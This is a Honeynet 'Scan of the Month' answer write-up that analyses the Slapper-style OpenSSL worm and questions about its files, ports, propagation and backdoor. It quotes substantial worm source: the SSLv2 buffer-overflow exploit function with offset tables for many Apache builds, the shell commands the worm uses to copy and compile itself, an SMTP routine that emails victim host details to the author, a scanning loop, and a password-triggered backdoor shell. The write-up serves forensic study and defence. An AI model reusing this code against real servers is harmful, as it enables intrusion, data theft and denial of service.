SCAN OF THE MONTH #25

29 November 2002

by: Miguel Cebrián Lindström

m_nidis (at) yahoo.co.uk

 

 

INTRODUCTION:

I hereby present the answers to the questions formulated by the Honeynet.BR team in the scan of the month 25. The challenge was to analyze a file found on a compromised server and answer certain questions.

The analysis has been performed on a dual PentiumIII Xeon machine with RedHat Linux. Standard system commands and Emacs was used for the entire analysis.

 

QUESTIONS:

  1. Which is the type of the .unlock file? When was it generated?
  2. Based on the source code, who is the author of this worm? When it was created? Is it compatible with the date from question 1?
  3. Which process name is used by the worm when it is running?
  4. In which format the worm copies itself to the new infected machine? Which files are created in the whole process?
  5. After the worm executes itself, which files remain on the infected machine?
  6. Which port is scanned by the worm?
  7. Which vulnerability the worm tries to exploit? In which architectures?
  8. What kind of information is sent by the worm by email? To which account?
  9. Which port (and protocol) is used by the worm to communicate to other infected machines?
  10. Name 3 functionalities built in the worm to attack other networks.
  11. What is the purpose of the .update.c program? Which port does it use?

Bonus Question: What is the purpose of the SLEEPTIME and UPTIME values in the .update.c program?

 

 

ANSWERS

1. Which is the type of the .unlock file? When was it generated?

After downloading the file the first thing is to check the md5 checksum

.unlock md5 = a03b5be9264651ab30f2223592befb42

The hash is the same as the one provided so it is ok to proceed.
To gather more information about the file I run the command file
execute the command file over .unlock

$ file .unlok
.unlok: gzip compressed data, deflated, last modified: Fri Sep 20 12:59:04 2002, o
s: Unix

rename to .gz and inflate the file preserving timestamp

$cp .unlock unlock.gz
$gunzip unlock.gz -N

This produces a new file

-rwxr--r-- 1 mcebrian mcebrian 81920 sep 20 12:59 unlock

$ file unlock
unlock: GNU tar archive

untar it and two c source files are produced

-rw-r--r-- 1 mcebrian mcebrian 70981 sep 20 15:28 .unlock.c
-rw-r--r-- 1 mcebrian mcebrian 2792 sep 19 23:57 .update.c

So .unlock is a gzip compressed file, it contains a tar file and it was last modified on Friday September the 20th of 2002 at 12:59:04.

 

2. Based on the source code, who is the author of this worm? When it was created? Is it compatible with the date from question 1?

The source is the force. So without more hesitation I open both file with Emacs.

The information about the author of the tools can be found at the comments at the beginning of both files:

at line 4 of .unlock.c

* Peer-to-peer UDP Distributed Denial of Service (PUD) *
* by contem@efnet *

line 38

* some modification done by aion (aion@ukr.net) *

at line 1 of .update.c

/* code by aion (aion@ukr.net)

so the last author is aion@ukr.net based on the original work of contem@efnet. Additionally the source code added by aion to .unlock.c is clearly marked by coments.

At line 71 of .unlock.c a c macro is defined

#define VERSION 20092002

This can be interpreted as a date: 20 / 09 /2002 (20 th of September 2002)
This is the same date as the one reported by the file system for the file and for .unlock, the compressed file. There are some discrepancies with the hour reported, It seems as if it was compressed before editing the code. This can be explained if the compressed file has been created in a machine with different clock settings than the one used for editing the code.

The trailing ^M at the end of the lines, suggests that the file has been saved on a windows machine, if then it was compressed on a Linux box, it could explain this differences.

 

3. Which process name is used by the worm when it is running?

In .unlock.c at line 78 the following macro is defined

#define PSNAME "httpd "

at line 1806


for(a=0;argv[0][a]!=0;a++) argv[0][a]=0;
for(a=0;argv[1][a]!=0;a++) argv[1][a]=0;
strcpy(argv[0],PSNAME);


This code overwrites with zeros the region in memory storing the process name and the first argument passed. And then copies the string represented by PSNAME over argv[0], changing the process name to "httpd".

 

4. In which format the worm copies itself to the new infected machine? Which files are created in the whole process?

To answer this question we must analyze the function sh(int sockfd)

Line 1425

writem(sockfd,"cat > /tmp/.unlock.uu << __eof__; \n");
zhdr(1);
encode(sockfd);
zhdr(0);
writem(sockfd,"__eof__\n");
writem(sockfd,"uudecode -o /tmp/.unlock /tmp/.unlock.uu; "
"tar xzf /tmp/.unlock -C /tmp/; "
"gcc -o /tmp/httpd /tmp/.unlock.c -lcrypto; "
"gcc -o /tmp/update /tmp/.update.c;\n");

 

this creates an empty file "/tmp/.unlock.uu" in the remote machine, and then the function encode() sends over the wire a uuencoded version of the local copy of .unlock

When this is done, .unlock.uu is decoded over a new file( .unlock) decompressed and the sources are compiled.

The files created are:

From the initial transmission .unlock.uu is created, this is uudecoded and .unlock is created. This gets uncompressed and .unlock.c and .update.c are created.

The compiler then generates two executables named httpd and update.

Then the cleanup process begins:

writem(sockfd,"rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c "
" /tmp/httpd /tmp/update; exit; \n");

this deletes .unlock.c, .update.c httpd update .unlock.uu.
so the only remaining file is /tmp/.unlock

5. Which port is scanned by the worm?

At line 67 the following macros are defined:

#define PORT 4156
#define SCANPORT 80

This seems to be defining two ports, well see how are they used.

port 4156 is used to send udp messages to other worms through the function
char *lowsend(struct ainst *ts,unsigned char b,char *buf,unsigned long len)

and is opened to listen connections in main.

line 1784
if (audp_listen(&udpserver,PORT) != 0) {

At line 1911 we find the scanning code

if (myip) for (n=CLIENTS,p=0;n<(CLIENTS*2) && p<100;n++) if (clients[n].sock == 0) {
char srv[256];
if (d == 255) {
if (c == 255) {
a=classes[rand()%(sizeof classes)];
b=rand();
c=0;
}
else c++;
d=0;
}
else d++;
memset(srv,0,256);
sprintf(srv,"%d.%d.%d.%d",a,b,c,d);
clients[n].ext=time(NULL);
atcp_sync_connect(&clients[n],srv,SCANPORT);
p++;
}


This code creates 128 unique ip addresses and scans the at port 80.

 


6. Which vulnerability the worm tries to exploit? In which architectures?

The worm takes advantage of buffer overflow on Open SSL. The code is in the following function:

void exploit(char *ip) {
int port = 443;
int i;
int arch=-1;
int N = 20;
ssl_conn* ssl1;
ssl_conn* ssl2;
char *a;

alarm(3600);
if ((a=GetAddress(ip)) == NULL) exit(0);
if (strncmp(a,"Apache",6)) exit(0);
for (i=0;i<MAX_ARCH;i++) {
if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os)) {
arch=i;
break;
}
}
if (arch == -1) arch=9;

srand(0x31337);

for (i=0; i<N; i++) {
connect_host(ip, port);
usleep(100000);
}

ssl1 = ssl_connect_host(ip, port);
ssl2 = ssl_connect_host(ip, port);

send_client_hello(ssl1);
get_server_hello(ssl1);
send_client_master_key(ssl1, overwrite_session_id_length, sizeof(overwrite_session_id_length)-1);
generate_session_keys(ssl1);
get_server_verify(ssl1);
send_client_finished(ssl1);
get_server_finished(ssl1);

port = get_local_port(ssl2->sock);
overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);

*(int*)&overwrite_next_chunk[156] = cipher;
*(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
*(int*)&overwrite_next_chunk[196] = ciphers + 16;

send_client_hello(ssl2);
get_server_hello(ssl2);

send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1);
generate_session_keys(ssl2);
get_server_verify(ssl2);

for (i = 0; i < ssl2->conn_id_length; i++) ssl2->conn_id[i] = (unsigned char) (rand() >> 24);

send_client_finished(ssl2);
get_server_error(ssl2);

sh(ssl2->sock);

close(ssl2->sock);
close(ssl1->sock);

exit(0);
}

This function opens a new ssl connection and sends an ovesized key to exploit the buffer overflow.

*(int*)&overwrite_next_chunk[156] = cipher;
*(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
*(int*)&overwrite_next_chunk[196] = ciphers + 16;

send_client_hello(ssl2);
get_server_hello(ssl2);

send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1);

In the scan process a malformed packet is sent to the web server, and from the response the server name and version is recorded.
This information is used now to calculate the offset to overwrite. If none of the prerecorded architectures is being targeted it defaults to RedHat with apache 1.3.23

This offsets are stored in the array architectures[].

struct archs {
char *os;
char *apache;
int func_addr;
} architectures[] = {
{"Gentoo", "", 0x08086c34},
{"Debian", "1.3.26", 0x080863cc},
{"Red-Hat", "1.3.6", 0x080707ec},
{"Red-Hat", "1.3.9", 0x0808ccc4},
{"Red-Hat", "1.3.12", 0x0808f614},
{"Red-Hat", "1.3.12", 0x0809251c},
{"Red-Hat", "1.3.19", 0x0809af8c},
{"Red-Hat", "1.3.20", 0x080994d4},
{"Red-Hat", "1.3.26", 0x08161c14},
{"Red-Hat", "1.3.23", 0x0808528c},
{"Red-Hat", "1.3.22", 0x0808400c},
{"SuSE", "1.3.12", 0x0809f54c},
{"SuSE", "1.3.17", 0x08099984},
{"SuSE", "1.3.19", 0x08099ec8},
{"SuSE", "1.3.20", 0x08099da8},
{"SuSE", "1.3.23", 0x08086168},
{"SuSE", "1.3.23", 0x080861c8},
{"Mandrake", "1.3.14", 0x0809d6c4},
{"Mandrake", "1.3.19", 0x0809ea98},
{"Mandrake", "1.3.20", 0x0809e97c},
{"Mandrake", "1.3.23", 0x08086580},
{"Slackware", "1.3.26", 0x083d37fc},
{"Slackware", "1.3.26",0x080b2100}
};

So the achitectures exploited are

Gentoo
Debian
Red-Hat (Apache 1.3.6)
Red-Hat (Apache 1.3.9)
Red-Hat (Apache 1.3.12)
Red-Hat (Apache 1.3.12)
Red-Hat (Apache 1.3.19)
Red-Hat (Apache 1.3.20)
Red-Hat (Apache 1.3.26)
Red-Hat (Apache 1.3.23)
Red-Hat (Apache 1.3.22)
SuSE (Apache 1.3.12)
SuSE (Apache 1.3.17)
SuSE (Apache 1.3.19)
SuSE (Apache 1.3.20)
SuSE (Apache 1.3.23)
SuSE (Apache 1.3.23)
Mandrake (Apache 1.3.14)
Mandrake (Apache 1.3.19)
Mandrake (Apache 1.3.20)
Mandrake (Apache 1.3.23)
Slackware (Apache 1.3.26)
Slackware (Apache 1.3.26)

 

7. What kind of information is sent by the worm by email? To which account?

At line 76

#define MAILSRV "freemail.ukr.net"
#define MAILTO "aion@ukr.net"
#define PSNAME "httpd "
#define WORMSRC "/tmp/.unlock"
#define UUHEAD "begin 655 .unlock\n"

This information is used in the function mailme

Line 94
int mailme(char *sip)
{
char cmdbuf[256], buffer[128];
int pip; long inet;
struct sockaddr_in sck;
struct hostent *hp;

if(!(pip=socket(PF_INET, SOCK_STREAM, 0))) return -1;
if((inet=inet_addr(MAILSRV))==-1)
{
if(hp=gethostbyname(MAILSRV))
memcpy (&inet, hp->h_addr, 4);
else return -1;
}
sck.sin_family = PF_INET;
sck.sin_port = htons (25);
sck.sin_addr.s_addr = inet;
if(connect(pip, (struct sockaddr *) &sck, sizeof (sck))<0) return -1;

gethostname(buffer,128);
sprintf(cmdbuf,"helo test\r\n"); writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf,"mail from: test@microsoft.com\r\n"); writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf,"rcpt to: "MAILTO"\r\n"); writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf,"data\r\n"); writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf," hostid: %d \r\n"
" hostname: %s \r\n"
" att_from: %s \r\n",gethostid(),buffer,sip);
writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf,"\r\n.\r\nquit\r\n"); writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
return close(pip);
}

this function sends a message to aion@ukr.net implementing SMTP commands.

The data sent is hosid hostname and the info at the string "sip".
To figure out what is in sip we must inspect the caller of this function. It is called in main at line 1805

mailme(argv[1]); zhdr(0);

So sip is the first argument passed in the command line. As we saw in a previous question in function sh .unlock is compiled and launched

line 1426
sprintf(rcv, "/tmp/httpd %s; /tmp/update; \n",localip);

In this line the httpd program is launched with the frst argument being the local ip. Wich is the information that gets passed to the function mailme.

So the information sent is

hostid as returned by gethostid()
hostname as returned by gethostname()
and the ip address of the machine.

 

8. Which port (and protocol) is used by the worm to communicate to other infected machines?

One of the ports opened is 4156.
this is defined at line 66

#define PORT 4156

And opened for listening at line 1784

if (audp_listen(&udpserver,PORT) != 0) {
printf("Error: %s\n",aerror(&udpserver));
return 0;
}

So UDP port 4156 has been opened and the program is listening on it. Subsecuently we can see many writes to this port to perform various tasks in conjuction with other worms, the ones itself have launched and its parent.

 

9. Name 3 functionalities built in the worm to attack other networks.


In main afer all the "initializations" have been completed (mail sent to owner, setting up a listening port on port 4156, scanning of more neworks etc...) the program get's into an infinite loop waiting for a command.

Among othe functionalitties the worm exposes various methods to atack other networks three of them are:

from Line 2249 onwards

case 0x2A: { // Tcp flood
...
case 0x2B: { // IPv6 Tcp flood (this one is pressent because NOIPV6 is not defined)
...
case 0x2C: { // Dns flood

So three of the attacking functionalityes are:

Tcp flood
IPv6 Tcp flood
and
Dns flood

 

10. What is the purpose of the .update.c program? Which port does it use?

.update.c is a much simpler program than .unlock.c.

It listens on TCP port 1052 for 10 seconds, if a connection is made within this time frame it forks it self. Then compares the data received with the string "aion1981" and if equal it opens an interactive shell. After the 10 seconds tears down the connection and sleeps for 300 seconds (five minutes).

It opens a window of five seconds every 5 minutes to obtain a shell. This reduces the risk of detecting the connection when unused.

 


Bonus Question: What is the purpose of the SLEEPTIME and UPTIME values in the .update.c program?

As explained in the previous question the proggram opens a tcp connection for five seconds. Then tears it down and waits for five minutes to open the socket again.

The values SLEEPTIME and UPTIME are defined as macros, to make easier their manipulation in the source code

#define SLEEPTIME 300 // sleep 5 min.
#define UPTIME 10 // listen 10 sec.

And they control the uptime and sleep time of the tcp port.